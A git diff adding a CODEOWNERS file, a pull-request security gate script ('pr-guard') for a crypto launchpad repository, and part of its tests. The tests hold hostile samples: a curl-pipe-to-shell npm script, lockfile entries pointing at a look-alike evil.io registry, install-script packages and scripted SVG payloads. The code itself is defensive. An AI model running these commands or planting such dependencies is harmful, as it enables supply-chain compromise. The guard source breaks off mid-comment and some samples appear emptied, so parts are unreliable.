diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000..eeddb165 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,11 @@ +# Review is requested from the owner automatically when a pull request touches these paths. The pr-guard workflow is +# what enforces it (.github/scripts/pr-guard.mjs); keep OWNERS there and the names here the same. + +/contracts/ @kevincodex1 +/.github/ @kevincodex1 +/.gitmodules @kevincodex1 +/app/package.json @kevincodex1 +/app/package-lock.json @kevincodex1 +/app/.npmrc @kevincodex1 +/SECURITY.md @kevincodex1 +/LICENSE @kevincodex1 diff --git a/.github/scripts/pr-guard.mjs b/.github/scripts/pr-guard.mjs new file mode 100644 index 00000000..762e3151 --- /dev/null +++ b/.github/scripts/pr-guard.mjs @@ -0,0 +1,958 @@ +#!/usr/bin/env node +// pr-guard: the security gate for pull requests into main (.github/workflows/pr-guard.yml). +// +// It runs from main's copy of this file (pull_request_target) with a read-only token, and it reads the pull request only as +// git objects: nothing from the pull request is checked out, installed or executed here. Node built-ins only, so the guard +// has no dependencies of its own to trust. +// +// Two kinds of finding: +// block red for everyone, the owners included. Merging takes a deliberate admin bypass. +// review red until an owner approves the exact head commit with a pull request review (then re-run the job). On an +// owner's own pull request it is a notice, as long as an owner pushed the head commit. +// +// Findings name the matched token (an address, a host, a function), never the whole line, and never a secret's value. +// +// Local replay: node .github/scripts/pr-guard.mjs --base --head [--author ] [--pusher ] [--approved] [--json] + +import { execFileSync } from "node:child_process"; +import { appendFileSync, readFileSync } from "node:fs"; +import { resolve } from "node:path"; +import { pathToFileURL } from "node:url"; + +/** Logins whose approval counts, and whose own pull requests turn "review" findings into notices. */ +export const OWNERS = ["kevincodex1"]; + +export const LOCK_PATH = "contracts/deployed.lock"; +/** Locked whether or not the lock lists them: the lock, the scripts that check it, and the submodule table. */ +const ALWAYS_LOCKED = [LOCK_PATH, "contracts/script/check-deployed-sources.sh", "contracts/script/check-arc-factory.sh", ".gitmodules"]; +/** The library folder is locked as a whole: a new folder beside the pinned submodules could stand in for an import. */ +const LOCKED_FOLDER = "contracts/lib/"; + +const MAX_SCAN_FILES = 1500; +const MAX_TEXT_BYTES = 2_000_000; +const MAX_BLOB_BYTES = 25_000_000; +const MAX_LINE = 2000; +const MAX_FINDINGS_PER_FILE = 200; + +export const RULES = { + "contract-locked": { tier: "block", title: "Deployed contract files changed", help: "These files are pinned in contracts/deployed.lock and stay byte-identical to what is live. A change for another chain goes in a new copied file (see contracts/src/LaunchFactoryArc.sol)." }, + "ci-config": { tier: "block", title: "CI, the guard or code owners changed", help: "Workflow and guard changes come from the maintainers, in a pull request of their own." }, + "dev-machine": { tier: "block", title: "Editor, agent or git hook configuration", help: "These files can run commands or steer an AI agent on a maintainer's machine the moment the branch is checked out. The repository tracks none of them." }, + "registry-config": { tier: "block", title: "Package manager configuration", help: "A registry, proxy or script setting here redirects every install." }, + "secret-file": { tier: "block", title: "A file that holds keys or wallet material", help: "Environment files, key files and wallet files are never committed. If this was real, rotate it now: the branch is public." }, + secret: { tier: "block", title: "A credential in the diff", help: "Remove it from the branch history and rotate it now: the branch is public. The value is not repeated here." }, + submodule: { tier: "block", title: "Submodule added or re-pinned", help: "The pinned libraries decide the contract bytecode and run in CI." }, + symlink: { tier: "block", title: "Symbolic link", help: "A link can point outside the repository or stand in for a file the guard would otherwise read." }, + "hidden-unicode": { tier: "block", title: "Invisible or direction-changing characters", help: "They make code read differently from what runs. Write the character as a \\u escape so it shows in review." }, + binary: { tier: "block", title: "A binary that is not a plain image or font", help: "It cannot be reviewed as text. Images and fonts must be real files of the type their name says." }, + "svg-active": { tier: "block", title: "An SVG that carries script", help: "A scripted SVG served from the site runs with the site's origin." }, + lockfile: { tier: "block", title: "Lockfile entry outside the npm registry", help: "Every package resolves to https://registry.npmjs.org with a sha512 integrity hash, under its own name and version." }, + "install-script": { tier: "block", title: "A new script that runs at install time", help: "Install scripts run on every maintainer machine, in CI and in the production image build." }, + "dependency-source": { tier: "block", title: "A dependency that does not come from the npm registry", help: "Git, URL, file and aliased dependencies skip the registry's integrity checks." }, + "case-collision": { tier: "block", title: "A path that differs from an existing one only by letter case", help: "On macOS and Windows the two overwrite each other at checkout." }, + "odd-path": { tier: "block", title: "A file name with control or invisible characters", help: "Rename the file with plain characters." }, + + contracts: { tier: "review", title: "Contracts folder", help: "New contract sources, tests, scripts and deployment records are read by an owner before they merge." }, + "contract-rules": { tier: "review", title: "Owner, pause, upgrade or fee switch in a contract", help: "CONTRIBUTING.md: no fee, no owner, no admin. Contracts that add one are not merged." }, + dependencies: { tier: "review", title: "Dependencies or npm scripts", help: "New packages are checked for who publishes them and why they are needed." }, + address: { tier: "review", title: "On-chain address", help: "Addresses decide where funds and approvals go. Each one is checked against its source." }, + "wallet-call": { tier: "review", title: "Wallet signing or sending", help: "Code that asks a wallet to sign, approve or send." }, + "new-host": { tier: "review", title: "A host the repository has not used before", help: "New network destinations and links. A host that code puts together at run time shows as (computed): there is nothing to compare it with." }, + "new-env": { tier: "review", title: "A new environment variable", help: "New configuration the deployment has to carry, or new access to existing secrets." }, + "dangerous-code": { tier: "review", title: "Code execution, raw HTML or shell", help: "Patterns that run code, inject markup, start processes or decode hidden text." }, + "auth-removed": { tier: "review", title: "A security check was removed", help: "Signature, nonce, rate limit or validation calls that the change drops." }, + "security-config": { tier: "review", title: "Security headers, proxy or files served as the site", help: "The Content-Security-Policy, the request proxy, the Next.js configuration, and files the site serves as they are: anything in app/public that is not a plain image, font or text file, and every SVG, page or XML file, since those run as, or vouch for, the site's origin." }, + "build-deploy": { tier: "review", title: "Build, deploy, database or script files", help: "Files that run during the build, the deploy or a migration against the production database." }, + policy: { tier: "review", title: "License or security policy", help: "The security contact and the license are changed by the maintainers." }, + "git-config": { tier: "review", title: "Git attributes", help: "Attributes change how files are diffed, merged and exported." }, + opaque: { tier: "review", title: "Content that cannot be read by eye", help: "Very long lines, encoded blobs and obfuscated names." }, + media: { tier: "review", title: "Audio, video or PDF", help: "It cannot be reviewed as text." }, + unscanned: { tier: "review", title: "Not scanned", help: "The guard could not read this, so a person has to." }, +}; + +// ---------- path rules ---------- + +const BLOCK_PATHS = [ + ["ci-config", /^\.github\/|^(docs\/)?CODEOWNERS$/i], + ["dev-machine", /(^|\/)\.(claude|cursor|codex|gemini|windsurf|continue|aider[^/]*|vscode|idea|devcontainer|husky|githooks)(\/|$)|(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)(\.cursorrules|\.clinerules|\.windsurfrules|\.mcp\.json|\.envrc|\.pre-commit-config\.ya?ml|\.?lefthook\.ya?ml|\.?mise(\.[^/]*)?\.toml)$/i], + ["registry-config", /(^|\/)(\.npmrc|\.yarnrc(\.yml)?|\.pnpmfile\.cjs|pnpm-workspace\.yaml|bunfig\.toml)$/i], +]; +/** Added or modified only: deleting one of these is fine. */ +const SECRET_FILE = /(^|\/)\.env(\.(?!example$)[^/]*)?$|\.(pem|p12|pfx|jks|keystore|key|address)$|(^|\/)id_(rsa|dsa|ecdsa|ed25519)$|(^|\/)(\.netrc|\.git-credentials)$|(^|\/)\.(aws|ssh|gnupg)\/|(^|\/)keystores?\/|(^|\/)(wallet|mnemonic|secrets?)[^/]*\.(json|txt|dat|ya?ml|toml|env)$/i; + +const REVIEW_PATHS = [ + ["contracts", /^contracts\//], + // app/public is served as it is, so everything in it counts except what cannot act: images and fonts (their bytes are + // checked against their names) and plain text. A browser runs script in anything served as HTML or XML, and there are + // dozens of such file types, so the rule names the few that are inert. Markup elsewhere in the app is served too + // (icon.svg, sitemap.xml, an imported image), and so is the web app manifest. + ["security-config", /^app\/src\/(proxy|middleware|instrumentation)\.[cm]?[jt]s$|^app\/src\/lib\/(security-headers|rpc-proxy)\.ts$|^app\/next\.config\.[cm]?[jt]s$|^app\/public\/(?!.*\.(png|jpe?g|gif|webp|avif|ico|woff2?|txt)$)|^app\/.*\.(svg|xml|xhtml?|html?|webmanifest)$|^app\/src\/app\/(.*\/)?manifest\.json$|^app\/(public|src\/app)\/\.well-known\//i], + ["policy", /^(LICENSE[^/]*|SECURITY\.md)$/i], + ["git-config", /(^|\/)\.gitattributes$/], + ["build-deploy", /(^|\/)(Dockerfile[^/]*|\.dockerignore|docker-compose[^/]*\.ya?ml|fly[^/]*\.toml|vercel\.json|Makefile|Procfile)$|^app\/(scripts|db)\/|^app\/(postcss|eslint)\.config\.[cm]?[jt]s$|^app\/tsconfig[^/]*\.json$|^app\/\.env\.example$|\.(sh|bash|zsh|py|rb|pl|ps1|bat|cmd)$/i], +]; + +const MANIFEST = /(^|\/)package\.json$/; +const NPM_LOCK = /(^|\/)(package-lock|npm-shrinkwrap)\.json$/; +const OTHER_LOCK = /(^|\/)(yarn\.lock|pnpm-lock\.yaml|bun\.lockb?|deno\.lock)$/; + +/** Named as a test. App code that imports one of these is flagged, so nothing that ships can hide here. */ +const isTest = (p) => /\.(test|spec)\.[cm]?[jt]sx?$|\.t\.sol$|^contracts\/test\//.test(p); +/** Everything that is not plainly prose is read as code, whatever its extension. */ +const isCode = (p) => !/\.(md|markdown|txt|rst|adoc|csv|tsv|diff|patch)$/i.test(p) && !/(^|\/)(LICENSE|NOTICE|AUTHORS)[^/]*$/.test(p); +/** The file extension, lowercase and without its dot; "" when there is none. */ +const ext = (p) => (/\.([A-Za-z0-9]+)$/.exec(p)?.[1] ?? "").toLowerCase(); + +// ---------- content rules ---------- + +/** A slice of a file's bytes as text, for comparing with a format's signature. */ +const ascii = (b, from, to) => b.subarray(from, to).toString("latin1"); +/** Images and fonts may be binary, when the bytes are what the name says. */ +const MAGIC = { + png: (b) => ascii(b, 0, 8) === "\x89PNG\r\n\x1a\n", + jpg: (b) => b[0] === 0xff && b[1] === 0xd8 && b[2] === 0xff, + jpeg: (b) => b[0] === 0xff && b[1] === 0xd8 && b[2] === 0xff, + gif: (b) => /^GIF8[79]a$/.test(ascii(b, 0, 6)), + webp: (b) => ascii(b, 0, 4) === "RIFF" && ascii(b, 8, 12) === "WEBP", + avif: (b) => ascii(b, 4, 8) === "ftyp" && /^(avif|avis|mif1)$/.test(ascii(b, 8, 12)), + ico: (b) => b[0] === 0 && b[1] === 0 && b[2] === 1 && b[3] === 0, + woff: (b) => ascii(b, 0, 4) === "wOFF", + woff2: (b) => ascii(b, 0, 4) === "wOF2", +}; +const MEDIA = /\.(mp4|webm|mov|mp3|wav|ogg|m4a|pdf)$/i; + +/** This machine, and the names reserved for documentation and tests. */ +const LOCAL_HOST = /^(localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\]|([a-z0-9-]+\.)*example\.(com|org|net)|([a-z0-9-]+\.)*(localhost|test|invalid|example))$/; +const PLACEHOLDER_PASSWORD = /^(pass(word)?|pw|secret|changeme|example|x{3,}|\*{3,}|\.{3}|your[-_]?\w*|<[^>]*>|\[[^\]]*\]|\$\{?\w+\}?)$/i; + +/** [what it is, pattern, optional check on the match]. The value is never reported. */ +const SECRETS = [ + ["a private key block", /-----BEGIN [A-Z0-9 ]*PRIVATE KEY( BLOCK)?-----/], + ["a raw private key or seed", /(?:private[\s_-]?key|priv[\s_-]?key|secret[\s_-]?key|deployer[\s_-]?key|signer[\s_-]?key|\bsecret\b|\bseed\b|\bpk\b)[^\n]{0,40}?\b(?:0x)?[0-9a-f]{64}\b/i], + ["a recovery phrase", /(?:mnemonic|seed[\s_-]?phrase|recovery[\s_-]?phrase)\W{1,8}((?:[a-z]{3,8}\s+){11,23}[a-z]{3,8})\b/i, (m) => !/^(test\s+){11}junk$/i.test(m[1].trim())], + ["an AWS access key", /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/], + ["a GitHub token", /\b(?:gh[pousr]_[A-Za-z0-9]{36,}|github_pat_[A-Za-z0-9_]{50,})\b/], + ["an npm token", /\bnpm_[A-Za-z0-9]{36}\b/], + ["a Slack token", /\bxox[abprs]-[A-Za-z0-9-]{10,}\b/], + ["an API secret key", /\b(?:sk|rk)[-_](?:ant-|proj-|live_|test_)[A-Za-z0-9_-]{20,}\b/], + ["a Google API key", /\bAIza[0-9A-Za-z_-]{35}\b/], + ["a Fly.io token", /\bFlyV1\s+fm\d_[A-Za-z0-9+/=_-]{20,}/], + ["a Telegram bot token", /\b\d{8,10}:AA[A-Za-z0-9_-]{33}\b/], + ["a signed token (JWT)", /\beyJ[A-Za-z0-9_-]{15,}\.eyJ[A-Za-z0-9_-]{15,}\.[A-Za-z0-9_-]{10,}/], + ["an RPC URL with its key", /(?:alchemy\.com\/v2\/|infura\.io\/v3\/|quiknode\.pro\/|blastapi\.io\/|ankr\.com\/[a-z_]+\/)[A-Za-z0-9_-]{20,}/i], + ["a database URL with its password", /\b(?:postgres(?:ql)?|mysql|mongodb(?:\+srv)?|redis|amqp)s?:\/\/[^\s:@/]+:([^\s@/]{3,})@([^\s/:?"'`]+)/i, (m) => !PLACEHOLDER_PASSWORD.test(m[1]) && !LOCAL_HOST.test(m[2].toLowerCase())], +]; + +const BIDI = /[\u061C\u200E\u200F\u202A-\u202E\u2066-\u2069]/u; +const INVISIBLE = /[\u00AD\u034F\u115F\u1160\u17B4\u17B5\u180B-\u180E\u200B\u200C\u2028\u2029\u2060-\u2064\u206A-\u206F\u3164\uFFA0\u{E0000}-\u{E007F}\u{E0100}-\u{E01EF}]/u; +const CONTROL = /[\u0000-\u0008\u000B\u000C\u000E-\u001F\u007F-\u009F]/; +const EMOJI_BEFORE = /[\p{Extended_Pictographic}\uFE0F\u{1F3FB}-\u{1F3FF}]$/u; +const EMOJI_AFTER = /^\p{Extended_Pictographic}/u; + +/** What is hidden in this text, or null. A joiner is fine inside an emoji sequence; a byte order mark only at the very start of a file. */ +export function hiddenCharacter(text, atFileStart = false) { + if (BIDI.test(text)) return "a text direction control"; + if (INVISIBLE.test(text)) return "an invisible character"; + if (CONTROL.test(text)) return "a control character"; + for (let i = text.indexOf("\u200D"); i !== -1; i = text.indexOf("\u200D", i + 1)) { + if (!EMOJI_BEFORE.test(text.slice(Math.max(0, i - 2), i)) || !EMOJI_AFTER.test(text.slice(i + 1, i + 3))) return "a zero-width joiner outside an emoji"; + } + const mark = text.indexOf("\uFEFF"); + if (mark > 0 || (mark === 0 && !atFileStart) || text.indexOf("\uFEFF", 1) > 0) return "a byte order mark inside the file"; + return null; +} + +/** An element that runs or embeds something, under any namespace prefix: ") }); + assert.deepEqual(scripted.map((f) => [f.rule, f.tier, f.detail]), [["security-config", "review", "added"], ["svg-active", "block", "a script or an embedded document"]]); + assert.ok(rules(check({ "app/public/b.svg": svg('', ' onload="go()"') })).includes("svg-active")); + assert.deepEqual(rules(check({ "app/public/c.svg": svg('') })), ["security-config"]); + // an SVG the site does not serve is still not allowed to carry script + assert.deepEqual(rules(check({ "brand/mark.svg": svg('') })), []); + assert.deepEqual(rules(check({ "brand/mark.svg": svg("") })), ["svg-active"]); + }); + + test("script is found in an SVG however the file is laid out or spelled", () => { + const prefix = cp(0xe9); + const active = { + "a script element under a namespace prefix": 'alert(1)', + "a prefix that is not plain letters": `<${prefix}:script xmlns:${prefix}="http://www.w3.org/2000/svg">alert(1)`, + "a handler on a line of its own, away from its =": '', + "a handler at the very start of a line": '', + "the colon of javascript: as a character reference": svg(''), + "a letter of javascript: as a character reference": svg(''), + "a tab inside javascript:, which a browser drops": svg(''), + "a line break inside javascript:": svg(''), + "a handler given as a default attribute by the document type": ' ]>\n', + "an animation that sets a handler": svg(''), + "an HTML form inside the image": svg(''), + "the HTML namespace spelled with a character reference": svg(''), + "an embedded document": svg('

hi

'), + "a stylesheet instruction over two lines": '\n', + }; + for (const [what, text] of Object.entries(active)) assert.ok(activeSvg(text), what); + // through the whole guard, in a file that is new to the pull request + for (const what of ["a handler on a line of its own, away from its =", "a script element under a namespace prefix", "the colon of javascript: as a character reference"]) { + assert.ok(rules(check({ "app/public/x.svg": `${active[what]}\n` })).includes("svg-active"), what); + } + }); + + test("ordinary SVGs are not mistaken for scripted ones", () => { + const inert = { + "a path": svg(''), + "a gradient, a clip path and a use": svg(''), + "a style block and a link to a site": svg('launch, online'), + "an XML declaration and a character reference in a title": `\n${svg('Base — logo & mark')}`, + "an editor's own metadata": '', + }; + for (const [what, text] of Object.entries(inert)) assert.equal(activeSvg(text), null, what); + }); + + test("an SVG is read whole whatever its size, and one that cannot be read is blocked", () => { + const large = check({ "app/public/big.svg": svg(``) }); + assert.ok(large.some((f) => f.rule === "svg-active" && f.detail === "a script or an embedded document"), "past the size that is matched line by line"); + const unreadable = { changes: [{ status: "M", path: "app/public/x.svg", oldMode: "100644", newMode: "100644", oldSha: "2".repeat(40), newSha: "3".repeat(40) }], blob: () => null, baseText: () => null, baseMatches: () => [], basePaths: () => [], diff: () => ({ added: [], removed: [] }) }; + assert.deepEqual(analyze(unreadable, { lockedPaths: LOCKED }).map((f) => [f.rule, f.tier, f.detail]), [["security-config", "review", "changed"], ["svg-active", "block", "could not be checked: larger than 25 MB"]]); + }); +}); + +// ---------- dependencies ---------- + +describe("dependencies", () => { + const bump = { "app/package.json": manifest({ dependencies: { sharp: "^0.35.5", viem: "^2.47.6" } }), "app/package-lock.json": lockfile({ ...BASE_LOCK, sharp: entry("sharp", "0.35.5") }) }; + + test("a clean version bump needs an owner and says what moved", () => { + const found = check(bump); + assert.deepEqual(rules(found), ["dependencies"]); + assert.match(details(found, "dependencies"), /sharp \^0\.35\.4 → \^0\.35\.5/); + assert.match(details(found, "dependencies"), /1 changed: sharp@0\.35\.5/); + }); + + test("a new dependency is named", () => { + const found = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "^2.47.6", leftpad: "^1.0.0" } }), "app/package-lock.json": lockfile({ ...BASE_LOCK, leftpad: entry("leftpad", "1.0.0") }) }); + assert.deepEqual(rules(found), ["dependencies"]); + assert.match(details(found, "dependencies"), /leftpad \^1\.0\.0 added/); + assert.match(details(found, "dependencies"), /1 package added: leftpad@1\.0\.0/); + }); + + test("a lockfile entry from anywhere but the npm registry is blocked", () => { + for (const resolved of ["https://github.com/someone/sharp/tarball/main", "https://registry.npmjs.org.evil.io/sharp/-/sharp-0.35.4.tgz", "git+ssh://git@github.com/someone/sharp.git#abc", "http://registry.npmjs.org/sharp/-/sharp-0.35.4.tgz"]) { + const found = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, sharp: entry("sharp", "0.35.4", { resolved }) }) }); + assert.ok(rules(found).includes("lockfile"), resolved); + } + }); + + test("an entry that resolves to another package's tarball is blocked", () => { + const found = lintNpmLock("app/package-lock.json", lockfile({ ...BASE_LOCK, viem: { ...entry("viem", "2.47.6"), resolved: "https://registry.npmjs.org/v1em/-/v1em-2.47.6.tgz" } }), lockfile(BASE_LOCK)); + assert.match(details(found, "lockfile"), /viem@2\.47\.6 does not resolve to its own registry tarball/); + }); + + test("a missing or weak integrity hash is blocked", () => { + const { integrity: _dropped, ...bare } = entry("viem", "2.47.6"); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, viem: bare }), lockfile(BASE_LOCK))).includes("lockfile")); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, viem: entry("viem", "2.47.6", { integrity: "sha1-abc=" }) }), lockfile(BASE_LOCK))).includes("lockfile")); + }); + + test("aliases, local links and bundled packages are blocked", () => { + const alias = lintNpmLock("p", lockfile({ ...BASE_LOCK, lodash: { ...entry("evil-lodash", "4.0.0"), name: "evil-lodash" } }), lockfile(BASE_LOCK)); + assert.match(details(alias, "lockfile"), /lodash is an alias for evil-lodash/); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, local: { link: true, resolved: "../local" } }), lockfile(BASE_LOCK))).includes("lockfile")); + assert.ok(rules(lintNpmLock("p", lockfile({ ...BASE_LOCK, inner: { version: "1.0.0", inBundle: true } }), lockfile(BASE_LOCK))).includes("lockfile")); + }); + + test("a scoped package and a nested copy resolve under their own names", () => { + const nested = { ...JSON.parse(lockfile(BASE_LOCK)) }; + nested.packages["node_modules/sharp/node_modules/@scope/pkg"] = entry("@scope/pkg", "2.0.0"); + assert.deepEqual(rules(lintNpmLock("p", JSON.stringify(nested), lockfile(BASE_LOCK))), ["dependencies"]); + }); + + test("a new package with an install script is blocked; a bump of one that already had it is not", () => { + const fresh = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, miner: entry("miner", "1.0.0", { hasInstallScript: true }) }) }); + assert.deepEqual(rules(fresh), ["dependencies", "install-script"]); + const bumped = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, esbuild: entry("esbuild", "0.29.0", { hasInstallScript: true }) }) }); + assert.deepEqual(rules(bumped), ["dependencies"]); + }); + + test("an unreadable lockfile is blocked", () => { + assert.deepEqual(rules(check({ "app/package-lock.json": "{ not json" })), ["lockfile"]); + assert.deepEqual(rules(check({ "app/package-lock.json": '{ "lockfileVersion": 1, "dependencies": {} }\n' })), ["lockfile"]); + }); + + test("a lifecycle script in package.json is blocked", () => { + for (const name of ["preinstall", "postinstall", "prepare"]) { + const found = check({ "app/package.json": manifest({ scripts: { test: "tsx --test", build: "next build", [name]: "node setup.js" } }) }); + assert.deepEqual(rules(found), ["install-script"], name); + } + }); + + test("a changed or added npm script needs an owner", () => { + const found = check({ "app/package.json": manifest({ scripts: { test: "true", build: "next build", pretest: "node x.js" } }) }); + assert.deepEqual(rules(found), ["dependencies"]); + assert.match(details(found, "dependencies"), /npm script "test" changed/); + assert.match(details(found, "dependencies"), /npm script "pretest" added/); + }); + + test("a dependency from git, a URL, a folder or under an alias is blocked", () => { + for (const spec of ["github:someone/viem", "git+https://github.com/someone/viem.git", "https://example.org/viem.tgz", "file:../viem", "npm:v1em@^2.0.0", "someone/viem#main"]) { + const found = lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({})); + assert.deepEqual(rules(found), ["dependency-source"], spec); + } + }); + + test("every way npm reads a spec as a folder, a file or a git remote is blocked", () => { + const local = ["../../vendor/viem", "./vendor/pkg/viem.tgz", "/opt/viem", "~/viem", ".", "..", "viem-2.0.0.tgz", "viem.tar.gz", "viem.tar-gz", "viem.tarXgz", "C:\\viem", "..\\viem", " ./viem"]; + const remote = ["git@github.com:someone/viem.git", "someone/viem", "gist:11081aaa281", "workspace:*", "catalog:", "jsr:@someone/viem"]; + for (const spec of [...local, ...remote]) { + const found = lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({})); + assert.deepEqual(rules(found), ["dependency-source"], spec); + } + // through the whole guard it is a block, for a change to package.json alone + const found = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "../../vendor/viem" } }) }); + assert.deepEqual(found.map((f) => [f.rule, f.tier]), [["dependency-source", "block"]]); + }); + + test("deleting the manifest or a lockfile is a change to the dependencies", () => { + const lock = check({ "app/package-lock.json": null }); + assert.deepEqual(lock.map((f) => [f.rule, f.tier, f.detail]), [["dependencies", "review", "deleted, so nothing pins the packages it listed"]]); + assert.deepEqual(check({ "app/package.json": null }).map((f) => [f.rule, f.detail]), [["dependencies", "deleted"]]); + const deleted = (path) => ({ status: "D", path, oldMode: "100644", newMode: "000000", oldSha: "2".repeat(40), newSha: "0".repeat(40) }); + const repo = { changes: [deleted("app/yarn.lock"), deleted("app/npm-shrinkwrap.json"), deleted("docs/guide.md")], blob: () => null, baseText: () => null, baseMatches: () => [], basePaths: () => [], diff: () => ({ added: [], removed: [] }) }; + assert.deepEqual(analyze(repo, { lockedPaths: LOCKED }).map((f) => [f.rule, f.path]), [["dependencies", "app/yarn.lock"], ["dependencies", "app/npm-shrinkwrap.json"]]); + }); + + test("a manifest or lockfile is read whole whatever its size, so padding cannot hide what is in it", () => { + const padding = " ".repeat(2_100_000); + const padded = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "github:someone/viem" } }) + padding }); + assert.match(details(padded, "dependency-source"), /viem comes from "github:someone\/viem"/); + const paddedLock = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, sharp: entry("sharp", "0.35.4", { resolved: "https://example.org/sharp-0.35.4.tgz" }) }) + padding }); + assert.deepEqual(rules(paddedLock), ["dependencies", "lockfile"], "linted, not set aside as too large"); + assert.match(details(paddedLock, "lockfile"), /sharp@0\.35\.4 does not resolve to its own registry tarball/); + }); + + test("a manifest or lockfile the guard cannot check is blocked, not passed on for review", () => { + // nested deeper than the reader can follow, beside a dependency from git + const depth = 50_000; + const nested = manifest({ dependencies: { sharp: "^0.35.4", viem: "github:someone/viem" } }).replace(/\n\}\n$/, `,\n "resolutions": ${'{"a":'.repeat(depth)}"1.0.0"${"}".repeat(depth)}\n}\n`); + const unreadable = check({ "app/package.json": nested }); + assert.deepEqual(unreadable.map((f) => [f.rule, f.tier]), [["dependency-source", "block"]]); + assert.match(unreadable[0].detail, /^(could not be checked: could not be read|is not a valid package\.json)/); + + // past the number of files one pull request may have scanned + const filler = Array.from({ length: 1500 }, (_, i) => ({ status: "A", path: `a/${i}.md`, oldMode: "000000", newMode: "100644", oldSha: "0".repeat(40), newSha: "1".repeat(40) })); + const changed = (path) => ({ status: "M", path, oldMode: "100644", newMode: "100644", oldSha: "2".repeat(40), newSha: "3".repeat(40) }); + const repo = { changes: [...filler, changed("app/package-lock.json"), changed("app/package.json"), changed("app/src/lib/x.ts")], blob: () => Buffer.from("notes\n"), baseText: () => null, baseMatches: () => [], basePaths: () => [], diff: () => ({ added: [], removed: [] }) }; + assert.deepEqual(analyze(repo, { lockedPaths: LOCKED }).map((f) => [f.rule, f.tier, f.path]), [["lockfile", "block", "app/package-lock.json"], ["dependency-source", "block", "app/package.json"], ["unscanned", "review", "app/src/lib/x.ts"]]); + + // larger than the guard reads at all + const huge = { ...repo, changes: [changed("app/package.json"), changed("app/src/lib/x.ts")], blob: () => null }; + assert.deepEqual(analyze(huge, { lockedPaths: LOCKED }).map((f) => [f.rule, f.tier]), [["dependency-source", "block"], ["unscanned", "review"]]); + }); + + test("an override may point at one of this package's own dependencies, and at nothing else", () => { + const references = lintManifest("app/package.json", manifest({ overrides: { ox: "$viem", "@scope/kit": "$@scope/pkg" } }), manifest({})); + assert.deepEqual(rules(references), ["dependencies"]); + assert.deepEqual(rules(lintManifest("app/package.json", manifest({ overrides: { ox: "$../viem" } }), manifest({}))), ["dependency-source"]); + assert.deepEqual(rules(lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: "$sharp" } }), manifest({}))), ["dependency-source"], "only overrides have references"); + }); + + test("an override is read like any other dependency", () => { + const found = lintManifest("app/package.json", manifest({ overrides: { viem: { ox: "github:someone/ox" } } }), manifest({})); + assert.match(details(found, "dependency-source"), /viem > ox comes from "github:someone\/ox"/); + }); + + test("ordinary version ranges are not mistaken for off-registry sources", () => { + for (const spec of ["^1.2.3", "~1.2.3", "1.2.3", ">=1.2.3 <2", "1.x", "*", "latest", "19.2.3", "^16.3.8-canary.1", "^1 || ^2", "1.2.3 - 2.0.0", "1.0.0+build.5", "v1.2.3", "next", ""]) { + assert.deepEqual(rules(lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({}))), ["dependencies"], spec); + } + }); + + test("a second package manager's lockfile, or a second manifest, needs an owner", () => { + assert.deepEqual(rules(check({ "app/yarn.lock": "# yarn lockfile v1\n" })), ["dependencies"]); + assert.match(details(check({ "tools/package.json": '{ "name": "tools" }\n' }), "dependencies"), /a new package manifest/); + }); + + test("a download piped to a shell inside an npm script is called out", () => { + const found = check({ "app/package.json": manifest({ scripts: { test: "tsx --test", build: "curl -s https://example.org/i.sh | sh && next build" } }) }); + assert.deepEqual(rules(found), ["dangerous-code", "dependencies"]); + }); +}); + +// ---------- application code ---------- + +describe("application code", () => { + const config = BASE["app/src/lib/launchpad/config.ts"]; + + test("swapping an address is caught, and a new one is marked as new", () => { + const found = check({ "app/src/lib/launchpad/config.ts": config.replace(ROUTER, STRANGER) }); + assert.deepEqual(rules(found), ["address"]); + assert.equal(found[0].detail, `${STRANGER} (new to the repository)`); + assert.equal(found[0].line, 2); + }); + + test("an address the repository already has is still shown, marked as known", () => { + const found = check({ "app/src/lib/launchpad/extra.ts": `export const FEE_TO = "${ROUTER.toLowerCase()}";\n` }); + assert.match(details(found, "address"), /already in the repository/); + }); + + test("the zero and burn addresses, hashes, and addresses in tests are not findings", () => { + assert.deepEqual(rules(check({ "app/src/lib/x.ts": `const a = "0x${"0".repeat(40)}", b = "0x000000000000000000000000000000000000dEaD", h = "0x${"ab".repeat(32)}";\n` })), []); + assert.deepEqual(rules(check({ "app/src/lib/x.test.ts": `const who = "${STRANGER}";\n` })), []); + }); + + test("an address in the README needs an owner too", () => { + assert.deepEqual(rules(check({ "README.md": `${BASE["README.md"]}\nFactory: ${STRANGER}\n` })), ["address"]); + }); + + test("wallet calls are flagged in app code and ignored in tests", () => { + const found = check({ "app/src/components/Buy.tsx": 'await writeContract(config, { address, abi, functionName: "approve", args: [spender, maxUint256] });\n' }); + assert.deepEqual(rules(found), ["wallet-call"]); + assert.match(details(found, "wallet-call"), /writeContract/); + assert.match(details(found, "wallet-call"), /functionName: "approve"/); + assert.match(details(found, "wallet-call"), /maxUint256/); + assert.deepEqual(rules(check({ "app/src/components/buy.test.ts": "await signMessage({ message });\n" })), []); + }); + + test("a wallet RPC method is a quoted string; a database column that starts with wallet_ is not one", () => { + assert.match(details(check({ "app/src/lib/switch.ts": 'await provider.request({ method: "wallet_switchEthereumChain", params });\n' }), "wallet-call"), /"wallet_switchEthereumChain"/); + assert.deepEqual(rules(check({ "app/src/lib/q.ts": "const rows = await sql`select wallet_fees_quote_paid from fees`;\n" })), []); + }); + + test("a new host is flagged, in code, tests and docs; a known or local one is not", () => { + 